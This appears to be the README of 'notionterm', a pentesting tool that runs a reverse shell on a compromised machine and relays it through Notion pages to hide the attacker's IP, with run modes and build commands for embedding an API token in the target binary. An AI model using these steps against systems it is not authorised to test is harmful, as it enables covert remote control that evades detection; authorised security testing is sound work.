FOR โ:
- Hiding attacker IP in reverse shell (No direct interaction between attacker and target machine. Notion is used as a proxy hosting the reverse shell)
- Demo/Quick proof insertion within report
- High available and shareable reverse shell (desktop, browser, mobile)
- Encrypted and authenticated remote shell
NOT FOR โ:
- Long and interactive shell session (see tacos for that)
Why? ๐ค
The focus was on making something fun while still being usable, but that's not meant to be THE solution for reverse shell in the pentester's arsenalHow? ๐คทโโ๏ธ
Just use notion as usual and launchnotionterm on target.
Requirements ๐๏ธ
- Notion software and API key
- Allowed HTTP communication from the target to the notion domain
- Prior RCE on target
roughly inspired by the great idea of OffensiveNotion and notionion!
TL;DR
Learn command and flags is too boring: Use wrap-notionterm.sh
Quickstart
๐๏ธ Set-up
- Create a page and give to the integration API key the permissions to have page write access
- Build
notiontermand transfer it on target machine (see Build)
๐ Run
There are 3 main ways to run notionterm:
"normal" mode
Get terminal, stop/unstop it, etc...
notionterm [flags]
Start the shell with the button widget: turn
ON, do you reverse shell stuff, turn OFF to pause, turn ON to resume etc...
"server" mode
Ease notionterm embedding in any page
notionterm --server [flags]
Start a shell session in any page by creating an embed block with URL containing the page id (
CTRL+Lto get it): https://[TARGET_URL]/notionterm?url=[NOTION_PAGE_ID].
light mode
Only perform HTTP traffic from target โ notion
notionterm light [flags]
Build
As notionterm is aimed to be run on target machine it must be built to fit with it.
Thus set env var to fit with the target requirement:
GOOS=[windows/linux/darwin]Simple build
git clone https://github.com/ariary/notionterm.git && cd notionterm
GOOS=$GOOS go build notionterm.goYou will need to set API key and notion page URL using either env var (NOTION_TOKEN & NOTION_PAGE_URL) or flags (--token & --page-url)
"All-inclusive" build
Embed directly the notion integration API token and notion page url in the binary.
Set according env var:
export NOTION_PAGE_URL=[NOTION_PAGE_URL]
export NOTION_TOKEN=[INTEGRATION_NOTION_TOKEN]And build it:
git clone https://github.com/ariary/notionterm.git && cd notionterm
./static-build.sh $NOTION_PAGE_URL $NOTION_TOKEN $GOOS